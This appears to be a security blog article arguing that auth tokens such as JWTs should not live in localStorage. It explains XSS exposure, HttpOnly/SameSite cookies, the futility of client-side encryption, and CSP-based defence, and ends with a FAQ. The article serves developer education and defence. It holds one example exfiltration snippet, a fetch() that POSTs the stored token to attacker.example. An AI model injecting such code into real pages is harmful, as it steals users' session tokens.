localStorage security comes down to a single unavoidable fact: any JavaScript running on your page can read the entire contents of localStorage, so if an attacker gets script execution through XSS, they get everything you stored there. That is the whole story, and it is why storing authentication tokens in localStorage is one of the most common front-end security mistakes still shipping in 2025.
localStorage is a genuinely useful API. The problem is not the API; it is the mismatch between what developers store in it and what its threat model actually protects. Let me walk through where the line is.
What localStorage Is and Is Not
localStorage is a key-value store the browser gives each origin, persisting across sessions until explicitly cleared. It is synchronous, holds strings, and offers a simple getItem and setItem interface. Compared to cookies it is bigger, cleaner to work with, and never gets attached to outgoing HTTP requests automatically.
What it is not is a security boundary against your own page's JavaScript. localStorage has exactly one access control: the same-origin policy. Any script from the same origin, whether it is yours, a dependency you pulled in, an analytics snippet, or code an attacker injected, can read and write every entry. There is no per-script isolation, no encryption, and no HttpOnly equivalent. If it runs on your origin, it sees your localStorage.
The Core Problem: XSS Reads Everything
Cross-site scripting is the attack that makes localStorage dangerous for secrets. If an attacker can get a single line of JavaScript to execute on your page, they can exfiltrate your storage in one line:
// What an injected script does in an XSS attack
fetch("https://attacker.example/steal", {
method: "POST",
body: localStorage.getItem("auth_token")
});
If that auth_token is a JWT or a session identifier, the attacker now has the user's session and can replay it from anywhere until it expires. There is no additional step. The token was sitting in a store that every script can read, and the attacker's script is now one of them.
This is the specific reason security engineers push back on the popular pattern of storing JWTs in localStorage. The convenience is real, you read the token in JavaScript and attach it to an Authorization header, but the convenience is precisely what makes it stealable. A token your JavaScript can read is a token an attacker's injected JavaScript can read.
Why Cookies Can Be Better for Tokens
The alternative most teams should reach for is an HttpOnly cookie. A cookie marked HttpOnly is invisible to JavaScript entirely; document.cookie cannot see it, and neither can an injected script. The browser attaches it to requests automatically, and XSS cannot exfiltrate it because the storage is off-limits to the scripting engine.
Cookies come with their own risk, cross-site request forgery, because they are sent automatically on requests the user did not intend. But CSRF is a well-understood problem with mature defenses: set SameSite=Strict or SameSite=Lax on the cookie, which stops the browser from sending it on cross-site requests, and add an anti-CSRF token for the state-changing endpoints that need it. The combination of HttpOnly, Secure, and SameSite gives you a token store that survives an XSS incident, which localStorage cannot.
The honest tradeoff: cookies trade the XSS exposure of localStorage for a CSRF exposure that has cleaner mitigations. For anything that authenticates a user, that trade is worth making.
What localStorage Is Actually Good For
None of this means localStorage is off-limits. It is the right tool for non-sensitive, user-specific state where losing it to an attacker would not matter: UI preferences, a theme choice, a collapsed-sidebar flag, a draft that has not been submitted, a cache of public data. The test is simple. Ask, "if an attacker read this value, what could they do with it?" If the answer is "nothing useful," localStorage is fine. If the answer is "impersonate the user" or "escalate access," it does not belong there.
Defense in Depth, Not Storage Tricks
Developers sometimes try to make localStorage safe by encrypting values before storing them. This does not work against the threat that matters. If the decryption key lives in your JavaScript, the attacker's injected script has the key too, because it runs in the same context. Client-side encryption of a token protects against nothing the same-origin policy does not already govern.
The real defense is not to fix localStorage but to prevent the XSS that makes it dangerous. That means a strict Content Security Policy that constrains where scripts can load from and blocks inline execution, contextual output encoding everywhere user data hits the DOM, and keeping your front-end dependencies patched, because a vulnerable library is a common XSS entry point that has nothing to do with your own code. Watching your dependency graph for known client-side advisories with an SCA tool closes a path attackers use to reach exactly the storage this article is about. For a fuller treatment of the XSS classes involved, our security academy breaks them down.
FAQ
Is it safe to store JWTs in localStorage?
Generally no. Any script on your page can read localStorage, so an XSS vulnerability lets an attacker steal the JWT and hijack the session. An HttpOnly cookie is a safer default for auth tokens because JavaScript, including injected attacker scripts, cannot read it.
What is the difference between localStorage and sessionStorage for security?
Their security model is identical: both are readable by any same-origin script and both are exposed by XSS. The only difference is lifetime; sessionStorage clears when the tab closes while localStorage persists. Neither is appropriate for auth tokens or other secrets.
Does encrypting values before storing them make localStorage safe?
No. If the decryption key is in your JavaScript, an injected attacker script runs in the same context and has access to the key. Client-side encryption does not protect against the XSS threat that makes localStorage risky for secrets.
What should I store in localStorage then?
Non-sensitive, user-specific state: UI preferences, theme settings, unsent drafts, or a cache of public data. The rule of thumb is that if an attacker reading the value could not do anything harmful with it, localStorage is an appropriate place to keep it.